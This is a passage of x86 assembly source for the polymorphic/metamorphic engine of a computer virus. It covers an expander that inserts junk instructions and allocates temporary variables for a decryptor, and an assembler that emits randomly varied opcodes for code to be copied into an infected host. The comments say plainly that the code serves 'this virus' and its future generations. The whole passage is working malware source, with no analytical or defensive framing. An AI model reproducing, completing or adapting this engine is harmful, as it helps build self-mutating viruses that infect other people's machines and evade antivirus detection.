[ebp+Xp_Immediate], edx call Xp_GenOPRegImm ; Make OP Reg,Imm2 @@Return_NoError: call Xp_RestoreOperation xor eax, eax ret @@Return_Error: call Xp_RestoreOperation mov eax, 1 ret Xp_MakeComposedOPImm endp ;; This function increases the recursivity level and returns the result in ;; EAX (as a side level :). Xp_IncreaseRecurseLevel proc mov eax, [ebp+Xp_RecurseLevel] add eax, 1 mov [ebp+Xp_RecurseLevel], eax ret Xp_IncreaseRecurseLevel endp ;; This function restores the previous saved operation and decreases the ;; recursivity level previously increased. Xp_RestoreOpAndDecreaseRecurseLevel proc call Xp_RestoreOperation Xp_RestoreOpAndDecreaseRecurseLevel endp ; No return! Continue directly ; to the next function ;; This is an entrypoint for decreasing only the recursivity level (with no ;; function restoration). Xp_DecreaseRecurseLevel proc mov eax, [ebp+Xp_RecurseLevel] sub eax, 1 mov [ebp+Xp_RecurseLevel], eax ret Xp_DecreaseRecurseLevel endp ;; This code copies the indexes and the addition of the current used memory ;; address to the appropiated fields of the current instruction at <EDI>. Xp_CopyMemoryReference proc mov eax, [ebp+Xp_Mem_Index1] mov [edi+1], eax mov eax, [ebp+Xp_Mem_Index2] mov [edi+2], eax mov eax, [ebp+Xp_Mem_Addition] mov [edi+3], eax ret Xp_CopyMemoryReference endp ;; Function to save the current operation into the stack Xp_SaveOperation proc pop ebx ; Return address mov eax, [ebp+Xp_Operation] push eax ; Save all the values of mov eax, [ebp+Xp_Mem_Index1] ; the current operation push eax mov eax, [ebp+Xp_Mem_Index2] push eax mov eax, [ebp+Xp_Mem_Addition] push eax mov eax, [ebp+Xp_Register] push eax mov eax, [ebp+Xp_SrcRegister] push eax mov eax, [ebp+Xp_Immediate] push eax mov eax, [ebp+Xp_8Bits] push eax push ebx ; Push again the return address ret Xp_SaveOperation endp ;; Function to restore the current operation from the stack Xp_RestoreOperation proc pop ebx ; Return address pop eax mov [ebp+Xp_8Bits], eax pop eax ; Restore all the values mov [ebp+Xp_Immediate], eax ; previously stored in the pop eax ; stack mov [ebp+Xp_SrcRegister], eax pop eax mov [ebp+Xp_Register], eax pop eax mov [ebp+Xp_Mem_Addition], eax pop eax mov [ebp+Xp_Mem_Index2], eax pop eax mov [ebp+Xp_Mem_Index1], eax pop eax mov [ebp+Xp_Operation], eax push ebx ret Xp_RestoreOperation endp ;; Allocate a temporary variable. The variable is marked in the memory section ;; dedicated to that marks, to avoid its reusing. Since we have a data section ;; of 128 Kb, we have 16384 temporary variables to use (more than sufficient ;; for this virus). If what we are doing is expanding a decryptor code, then ;; we only use the first 4 Kb of the memory frame (the memory that we'll have ;; available in the host). Xp_GetTempVar proc push edx call Random mov edx, eax ; Get a random number @@VariableCheck: and edx, 1FFF8h ; Mask the value mov eax, [ebp+CreatingADecryptor] or eax, eax ; If we are making a decryptor, then jz @@Normal1 ; we only get variables from the and edx, 00FF8h ; first 4 Kb and avoiding the first cmp edx, 20h ; 32 bytes (used by the decryptor jb @@Add20 ; for making its operations) and the cmp edx, 0F00h ; last 100h bytes (a random offset jb @@Normal1 ; that we set at decryptor creation) xor edx, edx @@Add20: add edx, 20h @@Normal1: add edx, [ebp+VarMarksTable] mov eax, [edx] ; Look if it's already marked. or eax, eax ; If it is, Get the next one and jz @@VariableFound ; look again. sub edx, [ebp+VarMarksTable] add edx, 8 jmp @@VariableCheck @@VariableFound: ; When we find an unallocated one, mov eax, 1 ; we mark it. mov [edx], eax sub edx, [ebp+VarMarksTable] call Random ; Now we get an internal random and eax, 3 ; offset from 0 to 3 and we add it add edx, eax ; to the address. mov eax, [ebp+CreatingADecryptor] or eax, eax jz @@Normal2 ; If we are making a decryptor, we add edx, [ebp+Decryptor_DATA_SECTION] ; set no_reg as mov [ebp+Xp_Mem_Addition], edx ; index register. mov eax, 8 ; If not, we translate jmp @@Continue ; the delta register and @@Normal2: add edx, [ebp+New_DATA_SECTION] ; we set it, so the var mov [ebp+Xp_Mem_Addition], edx ; is [DLT_REG+xxx] mov eax, [ebp+DeltaRegister] call Xpand_TranslateRegister @@Continue: mov [ebp+Xp_Mem_Index1], eax ; Set the index1 register mov eax, 8 mov [ebp+Xp_Mem_Index2], eax ; Set the index2 as <no_reg> pop edx ret Xp_GetTempVar endp ;; This function generates garbage instructions that will be eliminated by the ;; shrinker. They are compressed to NOPs. Xp_InsertGarbage proc call Random and eax, 7 ; Get a random method or eax, eax jz @@MakeOneByter ; Make a one byte instruction cmp eax, 1 jz @@MakeMOVRegReg ; Make MOV Reg,Reg (the same reg) cmp eax, 2 jz @@MakeANDs1 ; Make AND Reg,-1 cmp eax, 3 jz @@MakeOR0 ; Make OR Reg,0 cmp eax, 4 jz @@MakeXOR0 ; Make XOR Reg,0 cmp eax, 5 jz @@MakeADD0 ; Make ADD Reg,0 cmp eax, 6 jz @@MakeCMPJcc ; Make CMP Reg,Reg/Jcc (Jcc never ; jumps) jmp Xp_InsertGarbage ; Select another if 7 @@MakeADD0: xor eax, eax ; Set the operation ADD mov [ebp+Xp_Operation], eax @@MakeOP0: xor eax, eax ; Imm = 0 mov [ebp+Xp_Immediate], eax @@MakeOPx: xor eax, eax ; Set 0 at the field of labels mov [edi+0Bh], eax mov [edi+0Ch], esi ; Set the instruction pointer xor eax, eax mov [ebp+Xp_8Bits], eax ; Set "32 bits" @@MakeOPReg0: call Random ; Get a random register. It must not and eax, 7 ; be ESP nor the delta register cmp eax, 4 jz @@MakeOPReg0 cmp eax, [ebp+TranslatedDeltaRegister] jz @@MakeOPReg0 mov [ebp+Xp_Register], eax ; Set the register and make call Xp_GenOPRegImm ; the operation ret @@MakeOR0: mov eax, 8 ; Set operation OR mov [ebp+Xp_Operation], eax jmp @@MakeOP0 @@MakeXOR0: mov eax, 30h ; Set operation XOR mov [ebp+Xp_Operation], eax jmp @@MakeOP0 @@MakeANDs1: mov eax, 20h ; Set operation AND mov [ebp+Xp_Operation], eax mov eax, -1 ; Set -1 as Immediate mov [ebp+Xp_Immediate], eax jmp @@MakeOPx @@MakeCMPJcc: call Random ; Get a register to compare and eax, 7 ; If ESP or delta, we jump to make cmp eax, 4 ; other type of garbage. It's better jz @@MakeADD0 ; to not use this much, because then cmp eax, [ebp+TranslatedDeltaRegister] ; the code uses too jz @@MakeADD0 ; many jumps in future generations (in ; the third dimension :). mov [ebp+Xp_Register], eax ; Set the same register as mov [ebp+Xp_SrcRegister], eax ; source and destiny xor eax, eax mov [ebp+Xp_8Bits], eax ; Set 32 bits size mov [edi+0Bh], eax ; Clear the label flag and set mov [edi+0Ch], esi ; the pointer mov eax, 38h ; CMP Reg,Reg mov [ebp+Xp_Operation], eax call Xp_GenOPRegReg ; Generate the operation call Xp_GetSpecialJcc ; Get a special Jcc that never mov [ebp+Xp_Operation], eax ; jumps @@OtherLabel: call Random ; Get a random label from the and eax, 01F8h ; list of labels cmp eax, [ebp+NumberOfLabels] jae @@OtherLabel add eax, [ebp+LabelTable] ; Make it jump there (in theory) mov [ebp+Xp_Immediate], eax call Xp_GenJcc_SingleJcc ; Generate a single Jcc ret @@MakeMOVRegReg: call Random ; Get a random register and eax, 7 cmp eax, 4 jz @@MakeMOVRegReg cmp eax, [ebp+TranslatedDeltaRegister] jz @@MakeMOVRegReg mov [ebp+Xp_Register], eax ; Set it as source & dest. mov [ebp+Xp_SrcRegister], eax xor eax, eax mov [ebp+Xp_8Bits], eax ; Set 32 bits size mov [edi+0Bh], eax mov [edi+0Ch], esi ; Clear label and set pointer mov eax, 40h mov [ebp+Xp_Operation], eax ; Make MOV Reg,Reg call Xp_GenOPRegReg ret @@MakeOneByter: call RandomBoolean ; Get random TRUE or FALSE or eax, eax jz @@OnlyNOP ; If FALSE, make a NOP call Random and eax, 0100h ; Get CLC or STC add eax, 0F8FDh ; Set the instruction as a direct jmp @@OtherOneByter ; byte @@OnlyNOP: mov eax, 90FDh ; Set NOP @@OtherOneByter: mov [edi], eax ; Set the instruction xor eax, eax mov [edi+0Bh], eax ; Clear the "label-on" flag mov [edi+0Ch], esi ; Set the pointer add edi, 10h call Random ; Select if we make again other and eax, 0Fh ; random byte (a prob. of 1/16) or eax, eax jz @@MakeOneByter ret Xp_InsertGarbage endp ;; ;; ;; End of the expander ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;KEYWORD: Key_!Assembler ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The assembler ;; ------------- ;; ;; This code will convert from our reassembler directly into 80x86 opcodes. ;; ;; The assembly is done directly, I mean, this function doesn't add more ;; instructions randomly, since that work must be done by the expander. The ;; only random operations this code does is at opcode level. ;; ;; The generated code is completely prepared to be copied directly to the ;; host. All the instructions using relative displacements are fixed and ;; assembled to randomly their short or long form (when it's possible to use ;; a short jump). The reassembly also supports foward references. ;; AssembleCode proc xor eax, eax mov [ebp+NumberOfJumpRelocations], eax ; Initialize the ; after-assembly jump relocations mov esi, [ebp+InstructionTable] mov edi, [ebp+NewAssembledCode] ;; Mark all labels in instructions mov ecx, [ebp+NumberOfLabels] ; Let's mark all the mov edx, [ebp+LabelTable] ; instructions that has @@LoopSetLabel: ; a label, just in case mov ebx, [edx+4] ; someone hasn't been mov eax, [ebx+0Bh] ; marked before. or eax, 01h mov [ebx+0Bh], eax add edx, 8 dec ecx or ecx, ecx jnz @@LoopSetLabel @@LoopAssemble_01: mov eax, [esi+0Bh] ; Get the label mark and eax, 0FFh ; If it has a label, let's set it cmp eax, 1 jnz @@Assemble_Instruction mov eax, [ebp+NumberOfLabels] ; Get the label table mov edx, [ebp+LabelTable] @@LoopCheckLabel: cmp [edx+4], esi ; Search the label. When we find jnz @@CheckNextLabel ; it, we set the current assembly mov [edx], edi ; EIP. @@CheckNextLabel: add edx, 8 ; Next dec eax or eax, eax jnz @@LoopCheckLabel @@Assemble_Instruction: call AssembleInstruction ; Assemble the instruction add esi, 10h ; Increase pseudoassembler pointer mov eax, [ebp+AddressOfLastInstruction] cmp esi, eax ; Is it the last instruction? jb @@LoopAssemble_01 ; If not, loop again mov [ebp+AddressOfLastInstruction], edi ; Set the last ; instruction mov eax, edi sub eax, [ebp+NewAssembledCode] ; Get the size of the code mov [ebp+SizeOfNewCode], eax add eax, 20h ; Set a mini data frame for some ; possibilities of the decryptor mov ebx, 0F000h ; Let's get the rounded size of the @@LoopGetRoundedSize: ; code (rounded up to 4 Kb), with a add ebx, 1000h ; minimum value of F000 cmp ebx, eax jb @@LoopGetRoundedSize mov [ebp+RoundedSizeOfNewCode], ebx mov eax, 4000h ; Get the size of the code rounded up @@LoopGetSizeP2: ; to the next power of 2 (for the shl eax, 1 ; Pseudo-Random Index DEcryption) cmp eax, [ebp+SizeOfNewCode] jb @@LoopGetSizeP2 mov [ebp+SizeOfNewCodeP2], eax ;; Now we are going to complete the jumps that we left until the whole ;; code is assembled. mov esi, [ebp+JumpRelocationTable] mov ecx, [ebp+NumberOfJumpRelocations] @@LoopReloc01: mov edi, [esi] ; Get the jump and the address mov eax, [esi+4] mov eax, [eax] ; Get the destiny of the jump mov edx, edi ; Get the final address of the jump in add edx, 5 ; EDX sub eax, edx ; Get the displacement mov ebx, [edi] ; Get the type of jump and ebx, 0FFh cmp ebx, 7Fh ; Is it a short jump? jbe @@Short cmp ebx, 0EBh ; " " " " "? jz @@Short mov [edi+1], eax ; Set the displacement for long jumps, @@Next: sub ecx, 8 ; CALLs, etc. add esi, 8 ; Check next or ecx, ecx jnz @@LoopReloc01 ret @@Short: add eax, 3 ; Add 3 bytes of displacement (from a ; length of 5 to a length of 2) mov [edi+1], al ; Set the displacement jmp @@Next ; Next jump AssembleCode endp ;; This function assembles the instruction under the pointer in ESI to the ;; buffer in EDI. AssembleInstruction proc mov [esi+0Ch], edi ; Set the new address of assembled code mov eax, [esi] and eax, 0FFh ; Get the pseudoopcode cmp eax, 4Ch ; Generic operation? ja @@Assemble_Next00 ; If not, check next possibility mov ebx, eax and ebx, 0F8h and eax, 7 ; Get the type of operation or eax, eax ; OP Reg,Imm? jz @@Assemble_OPRegImm cmp eax, 1 ; OP Reg,Reg? jz @@Assemble_OPRegReg cmp eax, 2 ; OP Reg,Mem? jz @@Assemble_OPRegMem cmp eax, 3 ; OP Mem,Reg? jz @@Assemble_OPMemReg @@Assemble_OPMemImm: ; OP Mem,Imm cmp ebx, 38h ; If it's 38h or below, code jbe @@Assemble_OPMemImm_Normal ; it normally cmp ebx, 40h ; MOV? jz @@Assemble_MOVMemImm @@Assemble_TESTMemImm: ; TEST xor ebx, ebx mov eax, 0F7h ; Set the x86 opcode F7 jmp @@Assemble_OPMemImm_Normal_00 @@Assemble_MOVMemImm: xor ebx, ebx ; Set the x86 opcode C7 mov eax, 0C7h jmp @@Assemble_OPMemImm_Normal_00 @@Assemble_OPMemImm_Normal: mov eax, [esi+7] ; Get the value cmp eax, 7Fh ; Look if we can code it jbe @@Assemble_OPMemImm_Normal_Byte ; as sign-extended cmp eax, 0FFFFFF80h jae @@Assemble_OPMemImm_Normal_Byte @@Assemble_OPMemImm_Normal_Dword: mov eax, 81h ; Normal opcode @@Assemble_OPMemImm_Normal_00: mov [edi], eax ; Set the opcode add edi, 1 ; Make the memory address reference call Asm_MakeMemoryAddress ; adding the value in EBX mov eax, [esi+7] ; Set the value to OP mov [edi], eax add edi, 4 ; Increase the EIP ret ; Return @@Assemble_OPMemImm_Normal_Byte: call RandomBoolean or eax, eax ; Randomly choose if we code it jz @@Assemble_OPMemImm_Normal_Dword ; as dword or sign-ext. mov eax, 83h ; Set the opcode 83h mov [edi], eax add edi, 1 ; Construct the memory address call Asm_MakeMemoryAddress ; reference. mov eax, [esi+7] ; Get the immediate to set mov [edi], eax add edi, 1 ; Set only a byte ret ; Return @@Assemble_OPRegImm: cmp ebx, 38h ; If it's a normal OP, jump jbe @@Assemble_OPRegImm_Normal cmp ebx, 40h ; MOV? jz @@Assemble_MOVRegImm @@Assemble_TESTRegImm: ; TEST mov eax, [esi+1] ; Get the register and eax, 7 or eax, eax ; If Reg=EAX, we can code it jnz @@Assemble_TESTRegImm_NotEAX ; with its own opcode, call RandomBoolean ; so select randomly if we do it or eax, eax jz @@Assemble_TESTRegImm_NotEAX ; Jump if we don't do it mov eax, 0A9h ; Set TEST EAX,xxx jmp @@Assemble_OPRegImm_OneByteOpcode @@Assemble_TESTRegImm_NotEAX: mov eax, 0F7h ; Set TEST Reg,xxx xor ebx, ebx jmp @@Assemble_OPRegImm_Normal_01 ; MOV @@Assemble_MOVRegImm: call RandomBoolean ; Get a random TRUE or FALSE or eax, eax ; If FALSE, code it with a one jz @@Assemble_MOVRegImm_OneByteOpcode ; byte opcode mov eax, 0C7h ; Get the two bytes opcode xor ebx, ebx jmp @@Assemble_OPRegImm_Normal_01 @@Assemble_MOVRegImm_OneByteOpcode: mov eax, [esi+1] ; Get the register add eax, 0B8h ; Add B8h to it to get the MOV jmp @@Assemble_OPRegImm_OneByteOpcode ; Jump to finish @@Assemble_OPRegImm_Normal: mov eax, [esi+1] ; Get the register and eax, 7 ; Is it EAX? or eax, eax jnz @@Assemble_OPRegImm_Normal_00 ; If it isn't jump call RandomBoolean ; Select randomly to code a or eax, eax ; exclusive EAX opcode or not jz @@Assemble_OPRegImm_Normal_00 ; If not, jump mov eax, ebx ; Add 5 to the generic opcode add eax, 5 ; to get an OP EAX,xxx @@Assemble_OPRegImm_OneByteOpcode: mov [edi], eax ; Store the opcode mov eax, [esi+7] mov [edi+1], eax ; Store the immediate add edi, 5 ret @@Assemble_OPRegImm_Normal_00: ; 81h = normal OP Reg,Imm opcode mov eax, 81h @@Assemble_OPRegImm_Normal_01: mov [edi], eax ; Set the opcode mov eax, [esi+1] ; Set the "use register" and eax, 7 ; flag (the bits 7&6 on add eax, 0C0h ; the second opcode set to add eax, ebx ; 1) mov [edi+1], eax mov eax, [esi+7] ; Get the immediate and set it mov [edi+2], eax add edi, 6 ; Add the length of the just coded ret ; instruction to the EIP @@Assemble_OPRegReg: ; Check if the operation is normal cmp ebx, 38h jbe @@Assemble_OPRegReg_Normal ; If it is, jump cmp ebx, 40h ; MOV? jz @@Assemble_MOVRegReg @@Assemble_TESTRegReg: ; TEST mov ebx, 85h ; Opcode of TEST @@Assemble_TEST8RegReg_00: call RandomBoolean ; Select randomly if we use the normal or eax, eax ; opcode or the inversed one jz @@Assemble_OPRegReg_NextFF jmp @@Assemble_OPRegReg_Inversed_2 @@Assemble_MOVRegReg: mov ebx, 88h ; MOV opcode @@Assemble_OPRegReg_Normal: add ebx, 1 ; Set 32 bits @@Assemble_OP8RegReg_Normal: call RandomBoolean ; Select if we inverse it or eax, eax jz @@Assemble_OPRegReg_Inversed @@Assemble_OPRegReg_NextFF: mov ecx, [esi+1] ; Get in ECX the source mov edx, [esi+7] ; Get in EDX the destiny jmp @@Assemble_OPRegReg_Next00 ; Jump to complete @@Assemble_OPRegReg_Inversed: add ebx, 2 ; If inversed, add 2 to the opcode @@Assemble_OPRegReg_Inversed_2: mov ecx, [esi+7] ; Get in ECX the destiny mov edx, [esi+1] ; Get in EDX the source @@Assemble_OPRegReg_Next00: mov [edi], ebx ; Set the opcode mov eax, ecx ; Set ECX in bits 5,4,3 and EDX in shl eax, 3 ; bits 2,1,0 add eax, 0C0h ; Activate bits 7&6 to use bits 2,1,0 add eax, edx ; as a register rather than as a mov [edi+1], eax ; memory operand. add edi, 2 ; Store it and increment the EIP ret @@Assemble_OPRegMem: cmp ebx, 38h ; Normal operation? jbe @@Assemble_OPRegMem_Normal ; Then jump cmp ebx, 40h ; MOV? jz @@Assemble_MOVRegMem ; Then jump @@Assemble_TESTRegMem: ; TEST mov ebx, 85h ; Set the opcode jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_MOVRegMem: mov ebx, 88h ; +3 = 8Bh @@Assemble_OPRegMem_Normal: add ebx, 3 @@Assemble_OPRegMem_Normal_00: mov [edi], ebx ; Set the opcode add edi, 1 mov ebx, [esi+7] ; Get the register and ebx, 7 ; Mix it with the memory address shl ebx, 3 ; opcode data call Asm_MakeMemoryAddress ; Construct the mem. reference ret @@Assemble_OPMemReg: cmp ebx, 38h ; Generic operation? jbe @@Assemble_OPMemReg_Normal cmp ebx, 40h ; MOV? jnz @@Assemble_TESTRegMem ; Jump if it's TEST @@Assemble_MOVMemReg: mov ebx, 88h ; Set MOV opcode (+1 = 32 bits op.) ;jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_OPMemReg_Normal: add ebx, 1 jmp @@Assemble_OPRegMem_Normal_00 ;;;------------------------------------------------- ; Assembly of INC/DEC Reg @@Assemble_INCDECReg: call RandomBoolean ; Select one codification or other or eax, eax ; If EAX=0, use INC/DEC Mem opcode jz @@Assemble_INCDECReg_2 ; forced to register usage @@Assemble_INCDECReg_1: mov eax, [esi+7] ; Get the operation (0=INC, 8=DEC) add eax, 40h ; Make it 40h/48h (x86 opcode) @@Assemble_INCDECReg_Common: add eax, [esi+1] ; Bind the register to the opcode mov [edi], eax ; and write it add edi, 1 ret @@Assemble_INCDECReg_2: mov eax, 0FFh ; INC/DEC/etc. Mem32 extended opcode @@Assemble_INCDECReg_2_8b: mov [edi], eax ; Write it add edi, 1 mov eax, [esi+7] ; Get the operation (0 or 8) add eax, 0C0h ; Force it to use registers jmp @@Assemble_INCDECReg_Common ; Jump to complete it @@Assemble_INCDECReg_8b: mov eax, 0FEh ; INC/DEC/PUSH/etc. Mem8 opcode jmp @@Assemble_INCDECReg_2_8b @@Assemble_INCDECMem: mov eax, 0FFh ; FF = Extended opcode for INC, DEC, etc. @@Assemble_INCDECMem_2_8b: ; (32 bits) mov [edi], eax ; Set the opcode add edi, 1 mov ebx, [esi+7] ; Get the operation and bind it to the call Asm_MakeMemoryAddress ; memory operand codification ret ; (in 2nd opcode) @@Assemble_INCDECMem_8b: mov eax, 0FEh ; INC/DEC/PUSH/etc. opcode for 8 bits jmp @@Assemble_INCDECMem_2_8b @@Assemble_Next00: cmp eax, 4Eh ; INC/DEC Reg32 pseudoopcode? jz @@Assemble_INCDECReg cmp eax, 4Eh+80h ; INC/DEC Reg8 pseudoopcode? jz @@Assemble_INCDECReg_8b cmp eax, 4Fh ; INC/DEC Mem32 pseudoopcode? jz @@Assemble_INCDECMem cmp eax, 4Fh+80h ; INC/DEC Mem8 pseudoopcode? jz @@Assemble_INCDECMem_8b @@Assemble_Next00_: ; Generic 8 bits opcodes cmp eax, 00h+80h jb @@Assemble_Next01 cmp eax, 4Ch+80h ja @@Assemble_Next01 mov ebx, eax ; Get the type of operation and ebx, 78h and eax, 7 or eax, eax ; OP Reg,Imm? jz @@Assemble_OP8RegImm cmp eax, 1 ; OP Reg,Reg? jz @@Assemble_OP8RegReg cmp eax, 2 ; OP Reg,Mem? jz @@Assemble_OP8RegMem cmp eax, 3 ; OP Mem,Reg? jz @@Assemble_OP8MemReg @@Assemble_OP8MemImm: ; OP Mem,Imm cmp ebx, 38h jbe @@Assemble_OP8MemImm_Normal ; Jump if it's not MOV/TEST cmp ebx, 40h ; MOV? jz @@Assemble_MOV8MemImm @@Assemble_TEST8MemImm: ; TEST xor ebx, ebx mov eax, 0F6h ; x86 TEST Mem8,Imm opcode call @@Assemble_OPMemImm_Normal_00 ; Assemble it sub edi, 3 ; Subtract 3 because it added ret ; DWORD length, not byte length @@Assemble_MOV8MemImm: xor ebx, ebx ; The same as with TEST, but with mov eax, 0C6h ; the opcode 0C6h call @@Assemble_OPMemImm_Normal_00 sub edi, 3 ret @@Assemble_OP8MemImm_Normal: call Random ; Select randomly 80h or 82h (for and eax, 2 ; 8 bits both are the same) add eax, 80h call @@Assemble_OPMemImm_Normal_00 sub edi, 3 ret @@Assemble_OP8RegImm: cmp ebx, 38h ; Jump if not MOV/TEST jbe @@Assemble_OP8RegImm_Normal cmp ebx, 40h ; MOV? jz @@Assemble_MOV8RegImm @@Assemble_TEST8RegImm: ; Let's code TEST mov eax, [esi+1] ; Get the register in EAX and eax, 7 or eax, eax ; If Reg == AL, we can use jnz @@Assemble_TEST8RegImm_NotEAX ; the specific opcode for call RandomBoolean ; AL register: A8h or eax, eax jz @@Assemble_TEST8RegImm_NotEAX mov eax, 0A8h call @@Assemble_OPRegImm_OneByteOpcode sub edi, 3 ret @@Assemble_TEST8RegImm_NotEAX: ; If it's not AL, then we mov eax, 0F6h ; use the normal opcode: F6 xor ebx, ebx ; (the same as with TEST Reg, call @@Assemble_OPRegImm_Normal_01 ; Mem but with the sub edi, 3 ; register usage activated. ret @@Assemble_MOV8RegImm: call RandomBoolean ; If MOV, we can use the or eax, eax ; normal, one-byte opcode jz @@Assemble_MOV8RegImm_OneByteOpcode ; or the opcode used mov eax, 0C6h ; for MOV Mem,Imm but with xor ebx, ebx ; register usage active. call @@Assemble_OPRegImm_Normal_01 sub edi, 3 ret @@Assemble_MOV8RegImm_OneByteOpcode: mov eax, [esi+1] add eax, 0B0h ; MOV Reg8,Imm call @@Assemble_OPRegImm_OneByteOpcode sub edi, 3 ret @@Assemble_OP8RegImm_Normal: mov eax, [esi+1] ; If the register is AL, we and eax, 7 ; can use the AL exclusive or eax, eax ; opcode jnz @@Assemble_OP8RegImm_Normal_00 call RandomBoolean ; Do we use it? or eax, eax jz @@Assemble_OP8RegImm_Normal_00 ; If no, jump mov eax, ebx ; Get the opcode add eax, 4 ; Add 4 to the opcode to make call @@Assemble_OPRegImm_OneByteOpcode ; it "OP AL,x" sub edi, 3 ret @@Assemble_OP8RegImm_Normal_00: call Random ; The same as with OP Reg,Imm: both and eax, 2 ; 80h and 82h opcodes are valid for add eax, 80h ; these instructions. call @@Assemble_OPRegImm_Normal_01 sub edi, 3 ret @@Assemble_OP8RegReg: cmp ebx, 38h ; Jump if it's not MOV/TEST jbe @@Assemble_OP8RegReg_Normal cmp ebx, 40h jz @@Assemble_MOV8RegReg @@Assemble_TEST8RegReg: ; TEST? mov ebx, 84h ; Then use TEST opcode jmp @@Assemble_TEST8RegReg_00 @@Assemble_MOV8RegReg: mov ebx, 88h ; Use MOV opcode jmp @@Assemble_OP8RegReg_Normal @@Assemble_OP8RegMem: cmp ebx, 38h ; As always... jbe @@Assemble_OP8RegMem_Normal cmp ebx, 40h jz @@Assemble_MOV8RegMem @@Assemble_TEST8RegMem: mov ebx, 84h ; TEST opcode jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_MOV8RegMem: mov ebx, 88h ; MOV opcode @@Assemble_OP8RegMem_Normal: add ebx, 2 jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_OP8MemReg: cmp ebx, 38h ; Again... jbe @@Assemble_OPRegMem_Normal_00 cmp ebx, 40h ; TEST Reg,Mem = TEST Mem,Reg jnz @@Assemble_TEST8RegMem @@Assemble_MOV8MemReg: mov ebx, 88h ; MOV opcode jmp @@Assemble_OPRegMem_Normal_00 ;;;------------------------------------------------- @@Assemble_Next01: cmp eax, 50h ; PUSH pseudoopcode? jnz @@Assemble_Next02 call RandomBoolean ; Select if we use the specific or eax, eax ; register opcode or the memory jz @@Assemble_PUSHReg_2 ; opcode set up to use registers @@Assemble_PUSHReg_1: mov eax, [esi] ; Get the opcode (50h or 58h) and eax, 0FFh mov ebx, [esi+1] ; Bind the register add eax, ebx @@Assemble_StoreByte: mov [edi], eax ; Store the one-byte opcode add edi, 1 ret @@Assemble_PUSHReg_2: mov eax, 0FFh ; Two bytes opcode for PUSH Reg is mov [edi], eax ; FF,(F0 + Reg) mov eax, [esi+1] add eax, 0F0h mov [edi+1], eax add edi, 2 ret @@Assemble_Next02: cmp eax, 58h ; POP Reg? jnz @@Assemble_Next03 call RandomBoolean ; Select one-byte or two-bytes opc. or eax, eax jz @@Assemble_PUSHReg_1 ; POP Reg (one byte opcode) @@Assemble_POPReg_2: mov eax, 8Fh ; Two bytes POP Reg opcode is mov [edi], eax ; 8F,(C0 + Reg) mov eax, [esi+1] add eax, 0C0h mov [edi+1], eax add edi, 2 ret @@Assemble_Next03: cmp eax, 51h ; PUSH Mem? jnz @@Assemble_Next04 mov eax, 0FFh ; Opcode is FF,(30+mem codification) mov ebx, 30h @@Assemble_POPMem: mov [edi], eax ; Set opcode (FF or 8F) add edi, 1 call Asm_MakeMemoryAddress ; Code the memory reference ret @@Assemble_Next04: cmp eax, 59h ; POP Mem? jnz @@Assemble_Next05 mov eax, 8Fh ; Opcode is 8F,(00+mem codification) xor ebx, ebx jmp @@Assemble_POPMem @@Assemble_Next05: cmp eax, 68h ; PUSH Imm? jnz @@Assemble_Next06 mov [edi], eax ; Set opcode 68h mov eax, [esi+7] ; Get the Imm to push cmp eax, 7Fh jbe @@Assemble_PUSHImm_Byte ; Check if we can use the cmp eax, 0FFFFFF80h ; PUSH signed-Imm opcode jae @@Assemble_PUSHImm_Byte @@Assemble_PUSHImm_Dword: mov [edi+1], eax ; Store the Imm add edi, 5 ; Increase the storage EIP ret @@Assemble_PUSHImm_Byte: push eax ; Select randomly if we use a sign call RandomBoolean ; extended byte Imm or a dword Imm mov ebx, eax pop eax or ebx, ebx jz @@Assemble_PUSHImm_Dword mov ebx, 6Ah ; Insert the opcode mov [edi], ebx mov [edi+1], eax ; Put the value add edi, 2 ret @@Assemble_Next06: cmp eax, 0E0h ; NOT? jnz @@Assemble_Next07 mov ebx, 0D0h ; EBX = NOT operation under F7 opcode @@Assemble_NEG32Reg: mov eax, 0F7h ; F7 = opcode of NOT/NEG and etc. @@Assemble_Nxx8Reg: mov [edi], eax ; Set the first opcode mov eax, [esi+1] add eax, ebx ; Bind the register to the 2nd opcd. mov [edi+1], eax ; Store it add edi, 2 ret @@Assemble_Next07: cmp eax, 0E4h ; NEG Reg? jnz @@Assemble_Next08 mov ebx, 0D8h ; Set NEG Reg operation on 2nd opc. jmp @@Assemble_NEG32Reg @@Assemble_Next08: cmp eax, 0E2h ; NOT Reg8? jnz @@Assemble_Next09 mov ebx, 0D0h ; Set NOT Reg operation on 2nd opcode @@Assemble_NEG8Reg: mov eax, 0F6h ; Same as F7 but with 8 bits operands jmp @@Assemble_Nxx8Reg @@Assemble_Next09: cmp eax, 0E6h ; NEG Reg8? jnz @@Assemble_Next10 mov ebx, 0D8h ; Set NEG Reg op. on 2nd opcode jmp @@Assemble_NEG8Reg @@Assemble_Next10: cmp eax, 0E1h ; NOT Mem? jnz @@Assemble_Next11 mov ebx, 10h ; Then set NOT Mem op. on 2nd opcode @@Assemble_NEG32Mem: mov eax, 0F7h ; Set NOT/NEG/etc. opcode (32 bits) @@Assemble_Nxx8Mem: mov [edi], eax ; Set the first opcode add edi, 1 call Asm_MakeMemoryAddress ; Construct the memory reference ret ; (mixing it with the value in EBX) @@Assemble_Next11: cmp eax, 0E5h ; NEG Mem? jnz @@Assemble_Next12 mov ebx, 18h ; Then set NEG Mem on 2nd opcode and jmp @@Assemble_NEG32Mem ; jump to construct the operation @@Assemble_Next12: cmp eax, 0E3h ; NOT Mem8? jnz @@Assemble_Next13 mov ebx, 10h ; Set NOT Mem8 op. @@Assemble_NEG8Mem: mov eax, 0F6h ; Use 8 bits opcode for NOT/NEG jmp @@Assemble_Nxx8Mem @@Assemble_Next13: cmp eax, 0E7h ; NEG Mem8? jnz @@Assemble_Next14 mov ebx, 18h ; Then set NEG Mem8 op. on 2nd opc. jmp @@Assemble_NEG8Mem ; and jump to construct the instrc. @@Assemble_Next14: cmp eax, 0EAh ; CALL Mem? jnz @@Assemble_Next15 mov eax, 0FFh ; Set the opcode: 